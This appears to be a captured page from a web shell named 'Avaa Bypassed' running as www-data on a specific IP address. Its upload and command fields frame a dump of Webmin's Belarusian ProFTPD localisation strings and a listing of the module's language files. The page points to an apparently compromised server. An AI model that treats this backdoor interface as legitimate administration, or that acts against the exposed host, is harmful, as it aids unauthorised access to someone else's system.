[ Avaa Bypassed ]




Upload:

Command:

www-data@18.216.70.76: ~ $
index_title=Сервер ProFTPD
index_eproftpd=Не ўдалося знайсці сервер ProFTPD $1 у вашай сістэме. Магчыма, ён не ўсталяваны, альбо ваша канфігурацыя модуля <a href='$2'></a> няправільная.
index_eproftpd2=Здаецца, праграма $1 не з'яўляецца серверам ProFTPD. Магчыма, ён не ўсталяваны, альбо ваша канфігурацыя модуля <a href='$2'></a> няправільная. Выхад з каманды $3 склаў : $4 
index_eversion=Версія $1 сервера ProFTPD не падтрымліваецца Webmin.
index_econf=Канфігурацыйны файл ProFTPD $1 не існуе ці недапушчальны. Магчыма, ваша <a href='$2'>канфігурацыя модуля</a> няправільная.
index_apply=Прымяніць змены
index_applymsg=Націсніце гэтую кнопку, каб прымяніць бягучую канфігурацыю, адправіўшы сігнал SIGHUP да запушчанага працэсу ProFTPD.
index_applymsg2=Націсніце гэтую кнопку, каб прымяніць бягучую канфігурацыю, спыніўшы і перазапусціўшы ProFTPD.
index_start=Запусціце сервер
index_startmsg=Націсніце гэтую кнопку, каб запусціць FTP-сервер з бягучай канфігурацыяй. Вы таксама можаце наладзіць аўтаматычны запуск сервера пры неабходнасці, выкарыстоўваючы модуль <a href='$1'>Інтэрнэт-паслугі</a>.
index_startmsg2=Націсніце гэтую кнопку, каб запусціць FTP-сервер з бягучай канфігурацыяй. Вы таксама можаце наладзіць сервер для аўтаматычнага запуску пры неабходнасці пры дапамозе inetd або іншай эквівалентнай праграмы.
index_stop=Спыніць сервер
index_stopmsg=Націсніце гэтую кнопку, каб спыніць FTP-сервер, які не дапусціць падлучэння новых кліентаў FTP.
index_return=галоўнае меню
index_virts=Віртуальныя серверы
index_virt=Віртуальны сервер
index_type=Тып сервера
index_addr=Адрас
index_name=Імя сервера
index_port=FTP-порт
index_defserv=Сервер па змаўчанні
index_defdesc=Апрацоўвае любыя злучэнні FTP, якія не апрацоўваюцца віртуальнымі серверамі.
index_any=Любы
index_vdesc=Апрацоўвае ўсе злучэнні з $1 
index_eip=&lt;Невядома&gt;
index_global=Глабальная канфігурацыя
index_create=Стварыце віртуальны сервер
index_version=Версія ProFTPd $1 
index_proftpd=ProFTPd

efailed=Не ўдалося захаваць $1 

type_0=Параметры сеткі
type_1=Параметры рэгістрацыі
type_2=Файлы і каталогі
type_3=Кіраванне доступам
type_4=Рознае
type_5=Карыстальнік і група
type_6=Аўтэнтыфікацыя

virt_title=Параметры віртуальнага сервера
virt_header1=Для $1 
virt_header2=Для сервера па змаўчанні
virt_header3=$1 варыянты
virt_anon=Ананімны FTP
virt_header=Параметры для каталога і каманды
virt_dir=Каталог $1 
virt_limit=Каманды $1 
virt_adddir=Дадаць параметры ў каталогах для ..
virt_addlimit=Дадайце параметры для каманды для ..
virt_path=Шлях каталога
virt_cmds=Каманды FTP
virt_return=віртуальны сервер
virt_virt=Наладзьце віртуальны сервер
virt_edit=Рэдагаванне дырэктыў

vserv_title=Наладзьце віртуальны сервер
vserv_addr=Адрас
vserv_name=Імя сервера
vserv_port=FTP-порт
vserv_delete=Выдаліць віртуальны сервер
vserv_eaddr=Адсутнічае альбо недапушчальны адрас
vserv_eport=Адсутнічае альбо недапушчальны нумар порта
vserv_ename=Адсутнічае імя сервера

anon_title=Параметры ананімнага FTP
anon_header1=У віртуальным серверы $1 
anon_header2=На серверы па змаўчанні
anon_anon=Наладзьце ананімны FTP
anon_return=ананімныя параметры FTP
anon_header3=Для ананімнага FTP на віртуальным серверы $1 
anon_header4=Для ананімнага FTP на серверы па змаўчанні

aserv_title=Наладзьце ананімны FTP
aserv_create=Налада ананімнага FTP
aserv_root=Абмежаванне каталога
aserv_user=Доступ да файлаў як карыстальнік
aserv_group=Доступ да файлаў як група
aserv_err=Не атрымалася захаваць ананімны FTP
aserv_eroot=Адсутнічае альбо недапушчальны каталог chroot
aserv_euser=Адсутнічае альбо недапушчальны карыстальнік Unix
aserv_egroup=Адсутнічае альбо недапушчальная група Unix
aserv_desc=Ананімны FTP яшчэ не быў наладжаны для гэтага віртуальнага сервера. Выкарыстоўвайце гэтую форму, каб усталяваць зыходныя параметры канфігурацыі.

dir_title=Параметры каталога
dir_header2=Для каталога $1 на серверы па змаўчанні
dir_header1=Для каталога $1 у віртуальным серверы $2 
dir_edit=Рэдагаванне дырэктыў
dir_return=параметры для каталога
dir_header3=$1 варыянты ў $2 
dir_header=Параметры каманды
dir_dir=Наладзьце каталог
dir_header4=Для каталога $1 у ананімным FTP
dir_header5=Для каталога $1 ва ўсім свеце

manual_title=Рэдагаванне дырэктыў
manual_header=Выкарыстоўвайце тэкставае поле ніжэй, каб уручную рэдагаваць дырэктывы ProFTPD у $1, якія прымяняюцца да гэтага віртуальнага сервера, каталога ці каманд.
manual_configs=Рэдагаванне канфігурацыі файлаў
manual_ecannot=Вам нельга ўручную рэдагаваць дырэктывы
manual_file=Рэдагаванне дырэктыў у файле:
manual_efile=Няправільны канфігурацыйны файл ProFTPd
manual_etest=Выяўлена памылка файла канфігурацыі : $1 

limit_title=Параметры каманды
limit_header4=Для каманд $1 у каталогу $2 
limit_header2=Для каманд $1 на серверы па змаўчанні
limit_header1=Для каманд $1 у віртуальным серверы $2 
limit_edit=Рэдагаванне дырэктыў
limit_limit=Наладзьце каманды
limit_header3=Параметры $1 для каманд $2 
limit_return=варыянты каманды
limit_header5=Для каманд $1 у ананімным FTP
limit_header6=Для каманд $1 у файле $2 
limit_header7=Для каманд $1 ва ўсім свеце

lserv_title=Наладзьце каманды
lserv_cmd=Каманды FTP
lserv_delete=Выдаліць канфігурацыі каманд
lserv_err=Не атрымалася захаваць каманды
lserv_ecmd=Не выбраны каманды

dserv_title=Наладзьце каталог
dserv_dir=Шлях каталога
dserv_err=Не атрымалася захаваць каталог
dserv_edir=Адсутнічае шлях да каталога
dserv_delete=Выдаліць канфігурацыю каталога
dserv_eanondir=Каталог павінен знаходзіцца пад ананімным каталогам FTP

mod_core_type=Тып сервера
mod_core_inetd=Уцякай ад Inetd
mod_core_stand=Аўтаномны дэман
mod_core_port=Слухайце ў порт
mod_core_eport=Адсутнічае альбо недапушчальны нумар порта
mod_core_servername=Імя сервера адлюстроўваецца карыстальнікам
mod_core_eservername=Адсутнічае імя сервера
mod_core_defaultserver=Выкарыстоўваць гэты віртуальны сервер па змаўчанні?
mod_core_instances=Максімум адначасовых заняткаў
mod_core_einstances=Адсутнічае альбо недапушчальная колькасць сеансаў
mod_core_umask=Новы файл umask
mod_core_octal=Касьмачная маска
mod_core_umask_d=Новая маска каталога
mod_core_eumask=Адсутнічае альбо несапраўдны умаск
mod_core_user=Запусціце як карыстальнік Unix
mod_core_uname=Імя карыстальніка
mod_core_uid=UID
mod_core_group=Запускаецца як група Unix
mod_core_gname=Назва групы
mod_core_gid=GID
mod_core_tlog=FTP пераносіць часопіс
mod_core_nowhere=Рэгістрацыя адключана
mod_core_etlog=Адсутнічае альбо недапушчальны журнал перадачы
mod_core_accessdeny=Памылка ўваходу ў сістэму
mod_core_accessgrant=Паспяховае паведамленне для ўваходу
mod_core_adall=Палітыка кантролю доступу
mod_core_addefault=Тое ж самае з бацькоў
mod_core_allowall=Дазволіць усім кліентам
mod_core_denyall=Адмаўляць усім кліентам
mod_core_filter=Дазволеныя каманды FTP паўторна вырабляць
mod_core_foreign=Дазволіць перадачу замежных дадзеных?
mod_core_overwrite=Дазволіць перазапіс файлаў?
mod_core_restart=Дазволіць перазагрузку загрузак?
mod_core_restart2=Дазволіць перазапушчаныя загрузкі?
mod_core_require=Патрабуецца пароль для ананімнага ўваходу?
mod_core_anongroup=Групы адносяцца да членаў як да ананімных
mod_core_eanongroup=Няма ананімнай групы
mod_core_authalias=Дазволіць толькі ўваходзіць іншапланетнім карыстальнікам?
mod_core_authusingalias=Выкарыстоўваць пароль псеўданіма для ананімнага ўваходу?
mod_core_bind=Звязацца з адрасам
mod_core_bind_all=Усе адрасы
mod_core_ebind=Адсутнічае альбо недапушчальны адрас прывязкі
mod_core_cdpath=Ярлыкі каталогі CD
mod_core_classes=Уключыць класы для кантролю доступу?
mod_core_cls=Класы кантролю доступу
mod_core_cname=Назва класа
mod_core_ctype=Тып і значэнне
mod_core_climit=Максімальныя злучэнні
mod_core_cregex=Супадзенне кліентскага імя
mod_core_cip=IP-сетка кліента/CIDR
mod_core_eclimit=Адсутнічаюць альбо недапушчальныя максімальныя злучэнні
mod_core_ecregex=Адпадае імя хатняга кліента
mod_core_ecip=Адсутнічае альбо недапушчальная сетка IP кліента/CIDR
mod_core_buffer=Максімальная даўжыня каманды FTP
mod_core_ebuffer=Адсутнічае альбо недапушчальная максімальная даўжыня каманды
mod_core_transfer=Рэжым перадачы па змаўчанні
mod_core_binary=Двайковы
mod_core_ascii=ASCII
mod_core_defer=Адкласці прывітальнае паведамленне да ўваходу ў сістэму?
mod_core_aborted=Выдаліць перапыненыя загрузкі?
mod_core_dfilter=Адмоўлены FTP каманды
mod_core_display=Папярэдне ўвядзіце файл паведамлення
mod_core_none=Не
mod_core_edisplay=Адсутнічае файл паведамлення папярэдняга ўваходу
mod_core_firstcd=Імя файла README
mod_core_firstcdt=Заўсёды паказвайце
mod_core_efirstcd=Адсутнічае каталог файла README
mod_core_goaway=Занадта шмат файлаў паведамлення злучэння
mod_core_egoaway=Адсутнічае занадта шмат файла злучэння
mod_core_login=Файл паведамлення пасля ўваходу ў сістэму
mod_core_elogin=Файл паведамлення пасля ўваходу ў сістэму адсутнічае
mod_core_quit=Выйдзіце з файла паведамлення
mod_core_equit=Файл паведамлення адсутнічае
mod_core_gowner=Уладальнік групы загружаных файлаў
mod_core_egowner=Адсутнічае альбо недапушчальная група для загружаных файлаў
mod_core_grouppassword=Згрупаваць паролі
mod_core_gpname=Гурт Unix
mod_core_gppass=Пароль
mod_core_gpdef=Пакіньце без зменаў
mod_core_egpname=Няправільнае імя групы Unix
mod_core_hstor=Схаваць файлы падчас загрузкі?
mod_core_hgroup=Схаваць файлы, якія належаць групам
mod_core_ehgroup=Несапраўднае імя групы для ўтойвання файлаў
mod_core_hnoaccess=Схаваць файлы, якія немагчыма атрымаць доступ?
mod_core_huser=Схаваць файлы, якія належаць карыстальнікам
mod_core_ehuser=Несапраўднае імя карыстальніка для ўтойвання файлаў
mod_core_ident=Пошук аддаленага імя карыстальніка для ідэнтыфікатара?
mod_core_ihidden=Зрабіць скрытыя файлы недаступнымі?
mod_core_masq=Маскарад як адрас
mod_core_masq_def=Выкарыстоўвайце сапраўдны адрас
mod_core_emasq=Адсутнічае альбо несапраўдны адрас маскараду
mod_core_maxc=Максімум адначасовых уваходаў
mod_core_maxc1=Неабмежаваны
mod_core_maxcmsg=Паведамленне пра памылку ўваходу
mod_core_emaxc=Адсутнічае альбо недапушчальная максімальная колькасць уваходаў
mod_core_maxch=Максімум адначасовых уваходаў на хост
mod_core_maxcu=Максімальна адначасовы ўваход на аднаго карыстальніка
mod_core_logins=Максімальная колькасць няўдалых уваходаў за сеанс
mod_core_elogins=Адсутнічае альбо недапушчальная колькасць няўдалых уваходаў
mod_core_rfc2228=Адправіць адказы ў стылі RFC2228?
mod_core_pasv=Дыяпазон партоў PASV
mod_core_pasvr=Min - макс
mod_core_epasv=Адсутнічае альбо недапушчальны нумар порта PASV
mod_core_pathallow=Дазволена загружанае імя файла
mod_core_any=Любы
mod_core_pathdeny=Адхілена загружанае імя файла
mod_core_pidfile=Напішыце PID у файл
mod_core_epidfile=Адсутнічае альбо недапушчальны PID-файл
mod_core_shell=Дазволіць толькі ўваход у сістэму карыстальнікам з сапраўднай абалонкай?
mod_core_cpulimit=Ліміты рэсурсаў працэсара
mod_core_ecpulimit=Ліміт рэсурсаў працэсара
mod_core_memlimit=Абмежаванне рэсурсаў памяці
mod_core_ememlimit=Ліміт рэсурсу памяці
mod_core_filelimit=Адкрытыя ліміты файлаў
mod_core_efilelimit=ліміт адкрытых файлаў
mod_core_soft=Мяккі мяжа:
mod_core_hard=Цвёрды мяжа:
mod_core_max=Максімум
mod_core_esoft=Адсутнічае альбо недапушчальны мяккі $1 
mod_core_ehard=Адсутны альбо недапушчальны цвёрды $1 
mod_core_score=Шлях да каталога табло
mod_core_escore=Адсутнічае альбо несапраўдны каталог табло
mod_core_admin=Адрас электроннай пошты адміністратара сервера
mod_core_eadmin=Адсутнічае альбо недапушчальны адрас электроннай пошты
mod_core_identmsg=Паведамленне пра злучэнне кліента
mod_core_identmsg_def=Паказаць паведамленне па змаўчанні
mod_core_links=Паказаць сімвалічныя спасылкі?
mod_core_tight=Прывязаць толькі неабходныя парты?
mod_core_facility=Сістэма часопіса сістэмы
mod_core_level=Узровень сістэмнага часопіса
mod_core_backlog=Даўжыня чаргі адставання TCP
mod_core_ebacklog=Адсутнічае альбо недапушчальная даўжыня чаргі адставанняў
mod_core_nodelay=Выкарыстоўваць опцыю сокета TCP_NODELAY?
mod_core_rwindow=TCP атрымлівае памер акна
mod_core_erwindow=Адсутнічае альбо недапушчальны памер атрымання акна
mod_core_swindow=TCP адправіць памер акна
mod_core_eswindow=Адсутнічае альбо недапушчальны памер акна адпраўкі
mod_core_gmt=Паказаць час у GMT?
mod_core_tidle=Час прастою перад адключэннем
mod_core_etidle=Адсутнічае альбо недапушчальны час прастою
mod_core_secs=секунд
mod_core_tlogin=Час чакаць праверкі сапраўднасці
mod_core_etlogin=Адсутнічае альбо недапушчальны час праверкі сапраўднасці
mod_core_ttransfer=Час чакаць першай перадачы
mod_core_ettransfer=Першы час перадачы адсутнічае альбо недапушчальны
mod_core_tstalled=Час чакаць затрымкі перадачы дадзеных
mod_core_etstalled=Час перадачы адсутнічае альбо несапраўдны?
mod_core_ftpusers=Забараніць карыстальнікаў у файле/etc/ftpusers?
mod_core_hostsallow=Хосты дазволіць файл
mod_core_ehostsallow=Хосты, каб дазволіць файл, не існуе
mod_core_hostsdeny=Хосты адхіляюць файл
mod_core_ehostsdeny=Хосты для адхілення файла не існуюць
mod_core_revdns=Ці робяць зваротныя пошукі DNS-адрасоў кліента?
mod_core_userdir=Падкаталог Chroot на імя карыстальніка?
mod_core_ualias=Псеўданімы карыстальніка
mod_core_afrom=Імя карыстальніка
mod_core_ato=Сапраўднае імя карыстальніка
mod_core_eafrom=Несапраўднае імя карыстальніка для ўваходу ў псеўданім
mod_core_eato=Адсутнічае альбо недапушчальнае сапраўднае імя карыстальніка ў псеўданіме
mod_core_uowner=Уладальнік загружаных файлаў
mod_core_euowner=Адсутнічае альбо несапраўдны ўладальнік для загружаных файлаў
mod_core_userpassword=Адмена пароляў карыстальніка
mod_core_upname=Карыстальнік Unix
mod_core_uppass=Пароль
mod_core_updef=Пакіньце без зменаў
mod_core_eupname=Несапраўднае імя карыстальніка Unix
mod_core_wtmp=Запісваць лагіны ў wtmp?
mod_core_allow_deny=Абмежаваць доступ
mod_core_allowdeny=Дазвольце потым адмаўляць
mod_core_denyallow=Забараніць тады дазволіць
mod_core_allow=Дазволіць
mod_core_deny=Забараніць
mod_core_mode_0=Усе
mod_core_mode_1=Не
mod_core_mode_2=IP-адрас
mod_core_mode_3=Сетка
mod_core_mode_4=Імя хаста
mod_core_cond=Умова
mod_core_action=Дзея
mod_core_agroup=Дазволіць толькі групы
mod_core_auser=Дазволіць карыстальнікам
mod_core_all=Усе
mod_core_dgroup=Адмаўляць групам
mod_core_duser=Забараніць карыстальнікаў
mod_core_eip='$1' - несапраўдны IP-адрас
mod_core_enet='$1' - несапраўдны сеткавы адрас
mod_core_ehost='$1' не з'яўляецца сапраўдным імем хаста

mod_ls_fakegroup=Падробленая група ў спісах каталогаў?
mod_ls_fakeuser=Падроблены карыстальнік у спісах каталогаў?
mod_ls_fakemode=Падробленыя дазволы ў спісах каталогаў
mod_ls_nofake=Рэальныя дазволы
mod_ls_efakemode=Падробленыя дазволы павінны быць у васьмікратнай вазе
mod_ls_dotfiles=Паказаць файлы, пачынаючы з. у спісах?
mod_ls_ls=Дадатковыя варыянты ls
mod_ls_els=Адсутнічаюць дадатковыя варыянты ls
mod_ls_fakeasuser=Так, як карыстальнік ..
mod_ls_fakesameuser=Падлучаны карыстальнік
mod_ls_fakeasgroup=Так, як група ..
mod_ls_fakesamegroup=Злучаная група
mod_ls_efakeuser=Адсутнічае альбо недапушчальны падроблены карыстальнік
mod_ls_efakegroup=Фальшывая група адсутнічае альбо несапраўдная
mod_ls_options=Параметры спісу каталогаў
mod_ls_strict=Адмяніць параметры карыстальніка?

mod_auth_chdir=Пачатковы каталог ўваходу
mod_auth_echdir=Адсутнічае альбо недапушчальны пачатковы каталог
mod_auth_chroot=Абмежаваць карыстальнікаў у каталогах
mod_auth_home=Хатні каталог
mod_auth_none=Не
mod_auth_dir=Даведнік
mod_auth_groups=Гурты Unix
mod_auth_all=Усе
mod_auth_edir=Несапраўдны каталог chroot
mod_auth_egroups=Ніякіх груп Unix для chroot не ўвялі
mod_auth_echroot=Адсутнічае альбо недапушчальны каталог chroot
mod_auth_login=Не пытайцеся, калі пароль не дазволены?
mod_auth_root=Дазволіць Увайсці праз корань?

mod_site_chmod=Дазволіць каманду chmod?

mod_unixpw_ufile=Альтэрнатыўны файл пароля Unix
mod_unixpw_eufile=Адсутнічае альбо недапушчальны файл пароля Unix
mod_unixpw_gfile=Альтэрнатыўны файл групы Unix
mod_unixpw_egfile=Адсутнічае ці недапушчальны файл групы Unix
mod_unixpw_none=Не
mod_unixpw_pam=Заўсёды ставіцеся да PAM як да аўтарскага?
mod_unixpw_persist=Захоўваць файл пароляў настойліва адкрытым?

mod_log_syslog=Памылкі ў журнале ў файл
mod_log_sysdef=Сістэмны часопіс
mod_log_esyslog=Адсутнічае альбо недапушчальны файл часопіса
mod_log_extended=Карыстальніцкія часопісы
mod_log_file=Уваходны файл
mod_log_cmd=Для FTP-каманд
mod_log_nick=Фармат часопіса
mod_log_all=Усе
mod_log_ecmd=Адсутнічаюць каманды FTP
mod_log_enick=Адсутнічае альбо недапушчальнае імя фармату часопіса
mod_log_ecmdnick=Вы павінны ўвесці фармат часопіса, паказваючы каманды для ўводу
mod_log_nickname=Назва фармата
mod_log_fmt=Фарматаванне радка
mod_log_format=Нестандартныя фарматы часопісаў
mod_log_enickname=Адсутнічае альбо недапушчальнае імя фармату
mod_log_efmt=Адсутнічае радок фармату

mod_pam_pam=Выкарыстоўваць PAM для праверкі сапраўднасці?
mod_pam_config=Аўтэнтыфікацыя пры дапамозе службы PAM
mod_pam_econfig=Адсутнічае альбо недапушчальная паслуга PAM

mod_readme_display=Паведаміць карыстачу пра файлы Readme, якія супадаюць
mod_readme_none=Не
mod_readme_edisplay=Адсутнічае шаблон файлаў readme

start_err=Не атрымалася запусціць FTP-сервер
start_einetd=Вы не можаце запусціць дэман сервера ў рэжыме inetd.

stop_err=Не атрымалася спыніць сервер FTP
stop_einetd=Вы не можаце спыніць дэман сервера ў рэжыме inetd.
stop_erun=Не працуе

apply_err=Не атрымалася ўжыць канфігурацыю FTP
apply_egone=Больш не працуе

ftpaccess_title=Файлы параметраў Per-Directory
ftpaccess_desc=Дадатковыя параметры для каталога могуць быць указаны ў файле (звычайна званы <tt>.ftpaccess</tt>) у кожным каталогу. Параметры прымяняюцца да ўсіх файлаў у гэтым каталогу і любым падкаталогу, калі іх іншы файл параметраў не перакрыты.
ftpaccess_create=Стварыць файл параметраў
ftpaccess_find=Знайдзіце параметры файла
ftpaccess_auto=Пад ананімным
ftpaccess_from=З каталога
ftpaccess_return=Спіс файлаў опцый

ftpusers_title=Адмоўлена карыстальнікам FTP
ftpusers_desc=Калі ўключана пад значком <tt>Аўтэнтыфікацыя</tt>, карыстальнікам, пералічаным ніжэй у файле $1, будзе забаронены доступ да карыстальніка FTP.

ftpindex_title=Файл параметраў Per-Directory
ftpindex_delete=Выдаліць файл
ftpindex_opts=Параметры каталога
ftpindex_edit=Рэдагаванне дырэктыў
ftpindex_limit=Параметры каманды
ftpindex_addlimit=Дадайце параметры для каманды для ..
ftpindex_header2=$1 у $2 
ftpindex_return=файл з варыянтамі каталога
ftpindex_header=Для $1 

find_err=Не атрымалася знайсці файлы опцый
find_eanon=Ананімны FTP не ўсталёўваецца на любым віртуальным серверы

log_global=Зменены глабальныя варыянты $1 
log_ftpusers=Змененыя карыстальнікі FTP адмовіліся
log_virtc=Створана сервер $1 
log_virts=Рэканфігураваны сервер $1 
log_virtd=Выдалены сервер $1 
log_virtm=Сервер, рэдагаваны ўручную $1 
log_virt=Зменены $1 на серверы $2 
log_dirc=Створаны каталог $1 
log_dirc_l=Створаны каталог $1 на серверы $2 
log_dirs=Зменены каталог $1 
log_dirs_l=Зменены каталог $1 на серверы $2 
log_dird=Выдалены каталог $1 
log_dird_l=Выдалены каталог $1 на серверы $2 
log_dirm=Уручную адрэдагаваны каталог $1 
log_dirm_l=Уручную адрэдагаваны каталог $1 на серверы $2 
log_dir=Зменены $1 у каталогу $2 
log_dir_l=Зменены $1 у каталогу $2 на серверы $3 
log_limitc=Створаны параметры для каманды для $1 
log_limits=Наладзьце параметры для каманды $1 
log_limitd=Выдалены параметры для каманды $1 
log_limitm=Параметры каманды ўручную для $1 
log_limit=Зменены $1 у параметрах каманды для $2 
log_ftpaccessc=Створаны файл опцый $1 
log_ftpaccessd=Выдалены файл опцый $1 
log_ftpaccessm=Файл варыянтаў рэдагавання ўручную $1 
log_ftpaccess=Зменены $1 у файле опцый $2 
log_anonc=Наладзьце ананімны FTP для сервера $1 
log_anons=Налада ананімнага FTP для сервера $1 
log_anond=Выдалены ананімны FTP для сервера $1 
log_anonm=Ананімны FTP ўручную адрэдагаваны для сервера $1 
log_anon=Зменены $1 у ананімным FTP для сервера $2 
log_start=Пачаўся proftpd
log_apply=Прымяняюцца змены

eafter=Не атрымалася праверка канфігурацыі: $1 Змены не былі захаваны.
proftpd_apply=Прымяніць змены
proftpd_stop=Спыніць ProFTPd
proftpd_start=Запусціце ProFTPd

Filemanager

Name Type Size Permission Actions
af.auto File 18.51 KB 0644
ar.auto File 24.83 KB 0644
be.auto File 30.23 KB 0644
bg.auto File 30.67 KB 0644
ca File 20.84 KB 0644
cs File 18.77 KB 0644
cs.auto File 1.41 KB 0644
da.auto File 18.7 KB 0644
de File 21.01 KB 0644
el.auto File 32.2 KB 0644
en File 17.49 KB 0644
es File 18.59 KB 0644
es.auto File 1.83 KB 0644
eu.auto File 20.01 KB 0644
fa File 28.26 KB 0644
fa.auto File 870 B 0644
fi.auto File 20.26 KB 0644
fr File 21.42 KB 0644
he.auto File 23.04 KB 0644
hr.auto File 20.01 KB 0644
hu File 20.25 KB 0644
hu.auto File 1.39 KB 0644
it File 15.68 KB 0644
it.auto File 2.08 KB 0644
ja File 22.99 KB 0644
ja.auto File 996 B 0644
ko File 21.61 KB 0644
ko.auto File 162 B 0644
lt.auto File 20.58 KB 0644
lv.auto File 20.03 KB 0644
ms.auto File 19.09 KB 0644
mt.auto File 19.83 KB 0644
nl File 19.35 KB 0644
no File 18.67 KB 0644
pl File 20.44 KB 0644
pt.auto File 20 KB 0644
pt_BR File 20.15 KB 0644
pt_BR.auto File 105 B 0644
ro.auto File 20.39 KB 0644
ru File 28.95 KB 0644
ru.auto File 2.1 KB 0644
sk.auto File 20.33 KB 0644
sl.auto File 19.31 KB 0644
sv.auto File 18.79 KB 0644
th.auto File 38.66 KB 0644
tr.auto File 20.14 KB 0644
uk File 28.97 KB 0644
uk.auto File 2.04 KB 0644
ur.auto File 26.65 KB 0644
vi.auto File 22.8 KB 0644
zh File 15.25 KB 0644
zh.auto File 1.61 KB 0644
zh_TW File 16.51 KB 0644
zh_TW.auto File 455 B 0644